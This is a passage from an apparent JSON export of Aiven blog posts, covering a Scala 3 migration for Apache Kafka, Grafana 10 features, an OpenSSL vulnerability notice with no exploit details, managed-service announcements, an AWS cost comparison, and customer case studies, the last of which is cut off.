=\u003e\n val tmpReplicaSelector: ReplicaSelector = CoreUtils.createObject[ReplicaSelector](className)\n tmpReplicaSelector.configure(config.originals())\n tmpReplicaSelector\n }\n }\n ...\n}\n```\n\nThe error comes from the Scala 3 compiler assuming the extra parenthesis in the `originals` call refer to the return type which happens to be a `Map`. Calling `()` on an object in Scala is translated to `apply()`. This method doesn't exist, resulting in a compiler error.\nScala 2 was either smart enough or forgiving enough to guess that the extra parenthesis referred to the method `originals`.\n\n#### Shadowing\n\nShadowing refers to a circumstance where declaring a name that previously existed in a given scope renders the previous name invisible.\n\nScala 2 let developers shadow previously defined names in the scope, but Scala 3 became more strict in that area and considers it a double definition. One generic example can be seen here:\n\n```scala\nclass Shadow (shadowedName: String) {\n\n def shadowedName(): String = shadowedName\n\n}\n```\n\n### Too many automatic conversions\n\nThe following code works on Scala 2 but fails to compile on Scala 3.\n\n```scala\nclass TooManyImplicitsAtOnce () {\n\n val shortNumber1: Short = 1\n val shortNumber2: Short = 4\n\n val range = shortNumber1 to shortNumber2\n\n}\n```\n\nThe reason is that Scala 3 seems less prone than Scala 2 to apply several implicit conversions or extension methods in a row. Note that Scala 3 got a bit of an overhaul in how implicits work[^4]. What happened in Scala 2 was the following: the `Short` provided was automatically widen to an `Int`, because the method `to` is not present, and the compiler is looking for possible implicit conversions in scope to satisfy the compilation. Scala 2 founds a conversion that wraps an `Int` to a `RichInt` which offers the convenience of the `to` method.\n\n### Problems with bytecode generation\n\nOne of the historical weak points for Scala was the usage of Scala code from Java. Lots of improvements happened in this area during the last years and Scala `2.13` managed to have an excellent Scala accessibility from within Java code. However, some of those improvements seem to have been lost while Scala 3 was developed (remember it was developed in parallel with Scala 2).\n\nIn the vast majority of the cases, a work-around was possible and only minimal changes in the Java code were needed to successfully migrate the codebase. The nature of those problems are deeply technical and probably worth of a separate blog post.\n\nOne of the main reasons why those bugs were discovered now and not during the development of Scala 3 is that any new Scala version is tested against a corpus of projects which are almost completely written in Scala. This means that the Quality Assurance tests for new Scala releases might overlook some aspects like the Scala to Java interoperability. Most of the Open Source projects in Scala are either completely written in Scala or only a thin API layer is written in Java to offer a good usability for Java clients.\n\nApache Kafka is undoubtedly the biggest project whose code is mostly written in Java to have attempted migration to Scala 3. This means Kafka has a lot of Java code using Scala code and this rely on deep internals of how Scala's bytecode is generated.\n\nThanks to this task of evaluating the migration to Scala 3 we managed to discover several usability problems that are (or will be) fixed in Scala 3 future versions.\n\n## Find out more\n\nIf you want to see in deeper detail what the migration involved you can take a look at this draft PR were all the discoveries are documented: [PR-11350](https://github.com/apache/kafka/pull/11350). Also you can read the [thread](https://lists.apache.org/x/thread.html/r4ee305bef0e65e1352c358016eb4055b323b7f12df13c16b124aa5f1@%3Cdev.kafka.apache.org%3E) in the mailing list discussing this migration.\n\nThe Aiven blog also has lots of [Apache Kafka related content](https://aiven.io/blog/category/kafka \"Posts about Apache Kafka | Aiven blog\").\n\n*Footnotes*\n\n[1]: Any artifact compiled with Scala `2.13.4` would be able to be consumed by the Scala 3 compiler.\n\n[2]: As of Apache Kafka `3.1.0`.\n\n[3]: Scala Center is the non-profit organization that works on Scala tooling as well as education content for Scala.\n\n[4]: You can read more [here](https://www.scala-lang.org/2020/11/06/explicit-term-inference-in-scala-3.html)\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-07T00:00:00.000Z","seo":{"metaDescription":"Aiven has managed to migrate Apache Kafka to Scala 3. Find out more about the challenges, benefits, and what this means for developers in our blog!","metaImage":{"alt":"","asset":{"_ref":"image-44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844-png","_type":"reference"}},"metaTitle":"Preparing Apache Kafka® for Scala 3"},"slug":{"_type":"slug","current":"/blog/preparing-apache-kafka-for-scala-3"},"subtitle":"Aiven's OSPO is dealing with migration of Apache Kafka to Scala 3. Find out how they managed!","title":"Preparing Apache Kafka® for Scala 3"} {"__i18n_lang":"en","_createdAt":"2023-09-19T21:43:42Z","_id":"853625dc-d8f4-4238-ba30-fbacb05fab6c","_rev":"T130WEs22RB6SoEkOC84Ec","_type":"post","_updatedAt":"2024-11-19T11:56:34Z","authors":[{"_key":"f7c50014877e","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"For an organization to have trust in their monitoring solution, it’s imperative to be able to contextualize the information it provides. Has a particular alert caused problems before? How can a user’s experience be tracked across dozens of interconnected services? The latest version of Aiven for Grafana® makes answering these questions easier than ever with an upgrade to Grafana® 10.\n\n## Upgrade process \u0026 breaking changes\n\nExisting Aiven for Grafana instances will be automatically upgraded to Grafana 10 during the next scheduled maintenance window automatically. Customers who would like to get started sooner can apply the maintenance update manually via their Aiven console.\n\nAiven thoroughly tests our upgrade process and packaged plugins to ensure a smooth transition. A thorough list of [deprecations and breaking changes](https://grafana.com/docs/grafana/latest/breaking-changes/breaking-changes-v10-0/) can be found in the Grafana docs.\n\n## New and noteworthy in Grafana 10\n\nBelow, I’ve collected some exciting highlights from this release. For a full list of updates and public previews, see [What’s new in Grafana v10.0](https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v10-0) in Grafana’s documentation. \n\n### Custom content of all sizes\n\nWith the release of Grafana 10, the [canvas panel](https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/canvas/) has been promoted into general availability. This new panel combines the power of Grafana with the flexibility of UI and web design tools to help you build dynamic visualizations custom tailored to whatever’s most important to your organization. For detailed run-down of the canvas panel’s evolution, complete with a collection of illustrative demos, be sure to check out [this blog post](https://grafana.com/blog/2023/05/11/use-canvas-panels-to-customize-visualizations-in-grafana/) from Grafana’s engineering team.\n\n![Grafana canvas home solar energy demo screenshot](https://cdn.sanity.io/images/sczeoy4w/production/e0a34bfd5da9990bade741640765ea43a970784b-1631x606.png?w=450)\n\nNot all customization needs to be quite so elaborate. Sometimes, all you need is a little extra context in your charts and graphs. With [time region support](https://grafana.com/docs/grafana/latest/dashboards/build-dashboards/annotate-visualizations/#add-time-regions), you can define specific time ranges (e.g. “business hours”, “maintenance window”) as annotations for your time series data. This ensures you can quickly identify relevant data within a known time window at a glance.\n\n### More ways to add and compare data \n\nCustom graphs and dashboards won’t go very far without data for them to visualize. To make loading data into Grafana even easier, the data source picker has been streamlined. Recently used content is easier to find, and labels and supplementary descriptions have been added to make adding new data sources a snap.\n\nSpeaking of data sources, the Azure Monitor data source has been updated with support for visualizing Application Insights Traces. A corresponding “traces” query type has been added to the [query editor](https://grafana.com/docs/grafana/next/datasources/azure-monitor/query-editor/#query-application-insights-traces) to facilitate querying Application Insights Traces.\n\nThis release also introduces a data plane layer, wherein schemas have been defined for a variety of data types. This helps ensure improved reliability and interoperability across the platform. Each data type consists of a combination of a “kind” (e.g. TimeSeries) and a “format” (e.g. Wide). The full list of data types can be found in Grafana’s [data plane contract](https://grafana.com/developers/dataplane/).\n\n## Next Steps\n\nThis is all just a sampling of the new features and previews available in Grafana 10. You can find a full list of [what’s new](https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v10-0/), as well as [breaking changes](https://grafana.com/docs/grafana/latest/breaking-changes/breaking-changes-v10-0/) in the Grafana docs.\n\nNot using Aiven for Grafana yet? Now’s a great time to start! Check out the [Aiven for Grafana product page](https://aiven.io/grafana) for more information.\n","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3e51e54285ee17e1911b3d70e86738291abe8c15-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-20T13:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Grafana® 10 lets you customize and contextualize your data like never before. Learn all about it in the Aiven blog and get started today!"},"slug":{"_type":"slug","current":"/blog/customize-and-contextualize-your-data-with-grafana-10"},"subtitle":"Aiven for Grafana® is now powered by Grafana® 10. Learn what’s new and how to get started today.","title":"Customize and contextualize your data with Grafana® 10"} {"__i18n_lang":"en","_createdAt":"2022-11-04T09:33:47Z","_id":"3ee6a855-3f84-4c2b-bff1-ee2cd7b2808e","_rev":"YN8truRCqnchJPC7UzUwdf","_type":"post","_updatedAt":"2024-11-25T14:00:06Z","authors":[],"body":"\nOn 25 Oct 2022, we became aware of a new potential critical OpenSSL Vulnerability. \n\nOn 1 Nov 2022, the official details were published. There are two HIGH severity OpenSSL vulnerabilities affecting OpenSSL v3.0-3.6:\n- [CVE-2022-3786](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3786)\n- [CVE-2022-3602](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602)\n\nThese could lead to buffer overruns resulting in a denial of service (“DoS”) or remote code execution (“RCE”). According to the statement by OpenSSL.org, the buffer overrun can be triggered when X.509 certification verification contains malicious values in some certificate fields. \n\nExploitation requires either a certificate authority (“CA”) to have signed a malicious certificate or for an application to continue certificate verification despite failure to construct a path to a trusted issuer. \n\nAt the time of disclosure, the OpenSSL reporting team was not aware of any working exploit that could lead to remote code execution and had no evidence of the issues having been exploited prior to disclosure.\n\nOur security, engineering, and operations teams have thoroughly investigated the potential impact on the Aiven platform and services since the additional details of the vulnerability were disclosed. **We have not found components in any Aiven services or underlying operating systems or software that are vulnerable to these exploits.**\n\n## Further information\n\nFor more information about the vulnerability, see \n\n1. [OpenSSL blog post on CVE-2022-3786 and CVE-2022-3602](https://www.openssl.org/blog/blog/2022/11/01/email-address-overflows/) \n\n2. [CVE-2022-3786](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3786) \nand [CVE-2022-3602](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602) on CVE Mitre. It could be referred to when the CVE information is public on CVE Mitre.\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n","categories":[{"_key":"4c0cc64c8d48","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-04T12:07:00.000Z","related":[{"_key":"5d83cda7f3a3","_ref":"11X1jinOSlkROrjtJ5UT0k","_type":"reference"},{"_key":"2fa316c063bb","_ref":"sK8QxQ0nMo1FwKUupORyt","_type":"reference"},{"_key":"fa6a36cb5c07","_ref":"4p1IgkhLKJMD5e7PmJuzMX","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Working with open-source solutions from Aiven? Do not miss out on the important security update concerning OpenSSL X.509 email address buffer overflow. "},"slug":{"_type":"slug","current":"/blog/security-update-on-openssl-x509-email-address-buffer-overflow"},"subtitle":"CVE-2022-3786 and CVE-2022-3602 currently have no impact on Aiven services or the Aiven platform.","title":"Security updates: OpenSSL X.509 email address buffer overflow"} {"__i18n_lang":"en","_createdAt":"2024-10-04T17:28:38Z","_id":"7fedfe39-4789-482c-b02a-ddb400dbc930","_rev":"h4ancfFTuSnQNBSq3JJvV6","_type":"post","_updatedAt":"2024-11-19T11:59:45Z","authors":[{"_key":"10a8d7a477ad","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"Last month, we announced the early availability of [Aiven for Metrics](https://aiven.io/blog/aiven-for-metrics-is-now-available), and as of today it is generally available!\n\n## Metrics are ready for primetime\n\nNow that it's GA, Aiven for Metrics is ready for production workloads. Let's review what makes this new service special.\n\n- **Aggregated Prometheus metrics**\nAiven for Metrics is powered by Thanos, a solution for scaling Prometheus metrics. As such it provides a global query view, where you can execute queries across multiple Prometheus servers in a single place. \n- **Cost effective retention**\nAiven for Metrics automatically moves older content to low cost object storage to ensure that as your data grows, it can be kept for as long as you need it without breaking the bank.\n- **Integrated Aiven metrics**\nFrom the Aiven console, any other Aiven service can be configured to send metrics to Aiven for Metrics in just a few clicks. In turn, Aiven for Metrics can send its data to Aiven for Grafana for pre-built visualizations.\n\n## Get started\n\nAiven for Metrics is ready to be launched from your Aiven console. If you have existing metrics in Aiven for M3 or Aiven for InfluxDB, we've provided tools to [migrate and replicate that data](https://aiven.io/docs/products/metrics/howto/migrate-influxdb-thanos) to Aiven for Metrics.","categories":[{"_key":"ad253a356267","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Prometheus at Scale with Aiven for Metrics","asset":{"_ref":"image-2c440e249838327d9ab3c20db62c1665e911d92c-1200x628-png","_type":"reference"}},"publishedAt":"2024-10-08T14:00:00.000Z","related":[{"_key":"ae68df3e4487","_ref":"117d4f9e-b627-41f0-92d6-6b5a3abd5038","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Metrics, a Prometheus compatible solution powered by Thanos, is now generally available. Find out what it has to offer in our blog!"},"slug":{"_type":"slug","current":"/blog/prometheus-at-scale-with-aiven-for-metrics"},"subtitle":"Aiven for Metrics, a Prometheus compatible solution powered by Thanos, is now generally available. ","title":"Prometheus at Scale with Aiven for Metrics"} {"__i18n_lang":"en","_createdAt":"2024-08-05T17:01:11Z","_id":"b00fa92d-90ba-4e2c-a765-c71f1838555c","_rev":"sEwq5NBiPauorOxrhj8Ud9","_type":"post","_updatedAt":"2024-11-19T12:01:01Z","authors":[{"_key":"d42ab0314407","_ref":"988a3b7d-5394-4b8f-ac1f-f5927573f1e3","_type":"reference"}],"body":"## Limitations of AWS Pricing Discounts\n\nAre you interested in saving money on AWS services like Amazon Relational Database Service (RDS) or Aurora for PostgreSQL? If the answer is yes, you’re not alone. On-demand database pricing can be quite expensive, and AWS offers only one alternative solution: service-specific Reserved Instances (RIs). RIs are a discounted pricing model where you make a 1 or 3-year commitment for a specific instance type and receive a discounted hourly rate for the service in return. There’s a catch: if you buy RIs for Amazon RDS PostgreSQL, AWS will not apply them to other services like Amazon Aurora, OpenSearch, RDS MySQL, or Elastic Compute Cloud (EC2). Additionally, the AWS Kafka Service, MSK, does not offer RIs, and it is only available on-demand. Once you commit to a RI, you must spend the committed amount. If you need to change the services you use, your existing RI commitments cannot be transferred; they are a sunk cost and must be spent. \n\nService-specific RIs also do not offer the best cost savings; compute Savings Plans (SPs) provide up to 51% higher savings than RIs and apply to all EC2, Lambda, and Fargate usage. However, SPs cannot be applied to AWS data services, limiting how much you can save. You must also independently manage the RIs for each of your AWS data services, like Amazon OpenSearch, RDS PostgreSQL, and RDS MySQL. This makes minimizing your on-demand pricing across services all the more challenging, adding a significant complexity burden to your FinOps initiatives.\n\n## What is BYOC?\n\nSo how does Aiven come into the picture? Aiven offers a Bring Your Own Cloud (BYOC) model that allows you to apply your AWS compute SPs to Aiven data services and achieve significant cost savings and flexibility. In the BYOC model, Aiven runs services on standard EC2 instances in your AWS account, meaning your compute SPs will always apply to Aiven services. In this model, your existing AWS Enterprise Discount Program (EDP) also applies to your Aiven services.\n\nWith BYOC, you control your data and cost management practices in your own account, while reducing costs by offloading service infrastructure management responsibility to Aiven. Database and streaming services from third parties typically run in the vendor’s cloud environment. This means you can’t apply discounted pricing from a cloud provider to your data and streaming services. BYOC is a fundamentally new model that allows data services from a vendor to be managed and run securely within your cloud environment of choice like AWS, GCP, Azure, or OCI. To learn more about BYOC with Aiven, check out our [BYOC documentation](https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment).\n\n## Aiven vs. AWS Cost Comparison\n\nImagine you have an application platform that relies heavily on Amazon Elastic Kubernetes Service (EKS) for your compute needs. You stream incoming real-time IoT data with Kafka, which is sent to Clickhouse for data warehousing and to your downstream applications running on EKS. You also use PostgreSQL (PG) databases for application transactions and billing data, which is then streamed through Kafka to downstream applications and your data warehouse. You offer this stack to each of your customers in the following regions: us-east1, eu-west1, and ap-northeast-1. \n\n![Diagram of public interest hyperscaler of choice](https://cdn.sanity.io/images/sczeoy4w/production/56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0-1014x474.png)\n\nTo maximize engineering resources and reduce costs, you seek fully managed solutions for Clickhouse, Kafka, and PostgreSQL that your application platform can easily consume. You also aim to lower the TCO for your cloud solution, including infrastructure costs. AWS and Aiven both offer managed Kafka and PostgreSQL services, while only Aiven offers a managed Clickhouse solution. How do the compute infrastructure costs compare between Aiven and AWS managed services? Let’s take a look.\n\nFor this example, let’s assume you always make 1-year commitments with either SPs and RIs, and all payments occur upfront. Let’s also keep the instance type consistent between Aiven and AWS. Keep in mind that AWS MSK does not offer RI commitments.\n\n| Region | Amazon Kafka (MSK) kafka.m7g.xlarge (on-demand) | Aiven Kafka m7gd.xlarge \\n(1Y compute SP) | Amazon RDS PostgreSQL db.t3.xlarge \\n(1Y RI) | Aiven PostgreSQL t3.xlarge \\n(1Y compute SP) |\n|------------------------|--------------------------------------------------|------------------------------------------|---------------------------------------------|--------------------------------------------|\n| us-east1 (Virginia) | $0.408/hr | $0.1119/hr ($2593.84 YoY savings) | $0.193/hr | $0.112/hr ($709.56 YoY savings) |\n| eu-west1 (Ireland) | $0.4548/hr | $0.1289/hr ($2854.88 YoY savings) | $0.199/hr | $0.1394/hr ($522.10 YoY savings) |\n| ap-northeast-1 (Tokyo) | $0.527/hr | $0.149/hr ($3311.28 YoY savings) | $0.325/hr | $0.1596/hr ($1448.90 YoY savings) |\n\t\nWhen comparing the two approaches, your compute infrastructure cost with Aiven is up to 73% lower than when using AWS native services. With Aiven, you manage only 1 type of savings plan, reducing the effort required to maximize your cloud cost savings on AWS and providing you maximum flexibility. Additionally, any enterprise discounts will apply to the infrastructure costs as well. \n\nAWS does not offer a fully-managed Clickhouse solution for data warehousing, meaning with Aiven, you can invest in driving business value instead of managing Clickhouse. Self-managing services like ClickHouse comes with significant costs beyond the raw cloud infrastructure. You also need to consider the annual cost of manual tasks like performing upgrades, sharding databases, SRE activities, patching, replacing nodes, disaster recovery, service failovers, backups, forking, service health maintenance, and general database maintenance. These tasks can easily add up to 15 hours for an engineer every month.\n\nFor organizations looking to optimize costs with robust solutions in their existing AWS environments, Aiven’s BYOC model may be the best approach. If you want to get started with Aiven and BYOC, review our [documentation](https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment) or [book a demo](https://aiven.io/book-demo?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform)! You can also visit the [Aiven console](https://console.aiven.io) to familiarize yourself with all Aiven Platform services.\n\n\t\n\n","categories":[{"_key":"7722ffc1ac1d","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"05f3f92c3f47","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-efb0173102c05a1bfc9d614bfc5a639bd0682a91-1200x630-png","_type":"reference"}},"publishedAt":"2024-08-06T14:38:28.007Z","related":[{"_key":"05377aebf1fe","_ref":"f5e9ca98-ba09-40cc-af2d-a435e1584f73","_type":"reference"},{"_key":"e34764b40034","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"935c48c6117f","_ref":"dd1d35d3-0232-43ce-a7a2-187e79d501ec","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Save on AWS costs with the Bring Your Own Cloud option, offering flexibility and efficiency in managing cloud resources. Find out more in the Aiven blog!"},"slug":{"_type":"slug","current":"/blog/optimize-your-aws-costs-with-bring-your-own-cloud-from-aiven"},"subtitle":"Simplify cost management and drive cost reductions across all in-house and managed cloud services.","title":"Optimize Your AWS Costs With Bring Your Own Cloud From Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5xYduY1JNWW2r0A65rR3iz","_rev":"h4ancfFTuSnQNBSq3LujZ6","_type":"post","_updatedAt":"2024-11-20T06:03:24Z","authors":[],"body":"\n## Why Postgres major upgrades are important\nYou should always upgrade if you want to take full advantage of PostgreSQL. New major versions provide performance benefits as well as new features. \n\nBut a lot of PostgreSQL users are wary of major version updates because they present a challenge; namely, they require some downtime. How much downtime depends on how you upgrade.\n\n\u003c!---\nThe traditional way to to upgrade your PostgreSQL service is by forking your database and selecting the fork’s version. The fork then copies the data from your latest backup. Next the service automatically upgrades to the version you selected. Simple enough, but you still had to stop writing to the parent database, create your fork, and redirect traffic to the forked service. All this activity causes long stretches of downtime.\n--\u003e\n\nAiven has that downtime down to seconds.\n\n## Aiven makes major PG upgrades easy\nAiven's in-place upgrades for PostgreSQL take out multiple steps from the upgrade process and reduces downtime exponentially. Upgrading smaller instances will take seconds; larger instances often no more than one minute. \n\nHere's what happens during an in-place upgrade:\n1. An automatic process checks that the upgrade is possible.\n2. Possible standby nodes are shut down.\n3. The primary node is upgraded.\n4. A full backup is created.\n5. New standby nodes are created.\n6. A possible read-only replica service is upgraded by the same process.\n\nBut that's all done by Aiven - all you have to do is to click a button in the Aiven Console to get it started.\n\n## Next steps\n\nFeel free to [check out the PostgreSQL in-place major upgrades documentation](https://aiven.io/docs/products/postgresql/howto/upgrade\n) for more details. \n\n\n::banner[Fully managed and hosted PostgreSQL with high performance and all the extensions you want out of the box.]{ctaText=\"Try our open source service!\" ctaLink=\"https://aiven.io/postgresql\" title=\"Aiven for PostgreSQL®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/6c59e3c619e48dd09d197663e25f52979913241e-64x64.svg\"}\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-03T12:09:25.077Z","related":[{"_key":"d1e731c334fe","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"fb3b4ec9891a","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Major version updates for your PostgreSQL in seconds? Yes, Aiven found a way to make it possible! Visit our blog for more information!","metaImage":{"alt":"","asset":{"_ref":"image-168caad7b70fb5d5569b0ab982c4d9b3759a8305-725x405-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven"},"subtitle":"Major version updates for your PostgreSQL in seconds? Yes, Aiven can do it! Come and find out more.","title":"Aiven for PostgreSQL® major version in-place upgrade"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5cBHegWC7roNlL519hyUa9","_rev":"E2EqFgH2t2FE0P1F1wvcHx","_type":"post","_updatedAt":"2024-02-29T08:08:52Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"[OVO Energy](https://www.ovoenergy.com/) is a leading independent energy company in the UK with a focus on using technology to enhance its customers’ experience. One tool they use is the smart meter, with over 1 million already installed.\n\nThese smart meters require a robust and reliable data architecture that is also able to scale rapidly, which is why they decided to place Apache Kafka at the heart of it: this is where their relationship with Aiven started.\n\nBut, their needs didn’t stop with Kafka. They needed a _bespoke managed package_ to allow them to focus on their core business. Download the case study below to find out how they built one with the Aiven platform.\n\n::banner{ctaText=\"Read case study\" ctaLink=\"https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo\" title=\"Find out how OVO Energy built a robust and reliable data architecture with Aiven platform\"}\n\nTo see more case study summaries from other customers such as Priceline and Paf, visit the [Aiven case studies page](/case-studies) page. And don't forget to subscribe to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405-png","_type":"reference"}},"publishedAt":"2019-04-25T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Over 1 million smart meters require a robust and reliable data architecture; find out why OVO chose to build it on Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405-png","_type":"reference"}},"metaTitle":"OVO's Data Architecture for 1M+ Smart Meters [Case Study]"},"slug":{"_type":"slug","current":"/blog/aiven-and-over-1-million-ovo-smart-meters"},"subtitle":"Over 1 million smart meters require a robust and reliable data architecture; find out why OVO chose to build it on Aiven.","title":"A data architecture for over 1 million OVO smart meters [Case Study]"} {"__i18n_lang":"en","_createdAt":"2024-03-06T08:53:50Z","_id":"f6b5725a-d2a6-46c0-98e5-5a1b1d986c6e","_rev":"sEwq5NBiPauorOxrhfBKSF","_type":"post","_updatedAt":"2024-11-18T12:58:29Z","authors":[{"_key":"cfc17f113ed4","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"“As an engineer, I believe that the work we do is about helping and supporting people,” says Matthew Huxtable, Staff Platform Engineer at Doccla. Having worked in both educational and financial technology, he has found that HealthTech is where he can do that best. “I fundamentally believe in the power of technology to improve patient outcomes — and Aiven is helping Doccla realize that goal.” \n\nDoccla is a fast-growing healthcare technology startup that provides virtual wards, one of the biggest stories in healthcare technology. And, having provided clinical services, technology support and logistics to NHS England in the UK, Doccla has now expanded into Germany and will soon launch in France.\n\n## Data-driven hospitals at home\nVirtual wards have been [developing over several years](https://www.nhsconfed.org/system/files/2023-05/Realising-the-potential-of-virtual-wards.pdf). But like many other digital services, their deployment and capability were accelerated by the pandemic. In 2023, more than [100,000 patients were treated in virtual wards](https://www.england.nhs.uk/2023/03/world-leading-nhs-virtual-wards-treat-100000-patients-in-a-year/) in the UK’s national health service (NHS) alone. \n\nThe advantage of virtual wards is that non-critical patients get hospital-level care in the comfort and familiarity of their own homes, keeping hospital beds available for the patients whose needs are more severe. They are undeniably data intensive, however. In addition to online consultations, patients are monitored remotely, essential health markers are gathered from sensors, and data is submitted to hospital systems where they are routed to the right clinician. \n\nHaving worked in finance, Huxtable is acutely aware of the need to protect super-sensitive data. But he acknowledges that there is something about personal health data that requires particular assurance. \n\n“Virtual wards work when everyone involved has absolute confidence in the data. They need to be sure that clinicians are making treatment decisions from exactly the same data submitted by the patient,” says Huxtable. “We have to capture, transmit and analyze that data, make it available when it is needed, and ensure its integrity is not compromised on that journey. Our vision of patient care depends on it.” \n\n::youtube[Doccla uses Aiven Platform to Transform Patient Care with Virtual Wards]{#Ihm0jcx_CK4}\n\n## The right data platform for scalability, security and compliance\nThe virtual ward concept has engaged technology and networking providers of all sizes, including ambitious startups like Doccla, who bring innovation, agility and responsiveness to the process. \n\nHowever, as Huxtable makes clear, Doccla’s ability to respond to emerging needs and changing requirements is largely dependent on the underlying technology platforms. He’s also clear that, as a startup, Doccla has a highly efficient operation with a relatively small team of software and platform engineers — and has little appetite for spending months onboarding a new vendor. \n\nDoccla faced a ‘crunch moment’ that highlighted both the advantages and challenges of being a startup in HealthTech. “We developed a new product that was far more data intensive than previous offerings. It was innovative, but it had outgrown our existing platform,” says Huxtable. “I felt our existing set-up wasn’t sufficiently scalable, and we would struggle to support the new product. We needed to build a new platform. We needed it fast. And we didn’t have the resources to do it in-house.”\n\nWhat Huxtable needed was a trusted partner who could run all the open source data components Doccla relies on, provide the necessary support, and meet all regulatory compliance needs of the healthcare sector. He says, “I reached out to Aiven because, having experienced its services before, I knew Aiven would immediately solve this problem for me. In the end, I was able to accelerate the build of our new platform by months thanks to Aiven.” \n\n## Integration and configuration made simple\nDoccla joined the [Aiven Cluster startup program] (https://aiven.io/cluster), which gave Huxtable access to Aiven expertise and technical support as well as $100,000 of credits to spend on Aiven services. “The credits we got by joining the Aiven Cluster program helped us to get started very quickly,” he says. It meant Doccla could experiment with potential technologies before settling on a final architecture based on Aiven for Apache Kafka®, Aiven for Caching and Aiven for PostgreSQL® — all of which are deployed to multiple regions in Google Cloud. \n\nUsing the Aiven Platform ensures all of the technologies seamlessly integrate and are 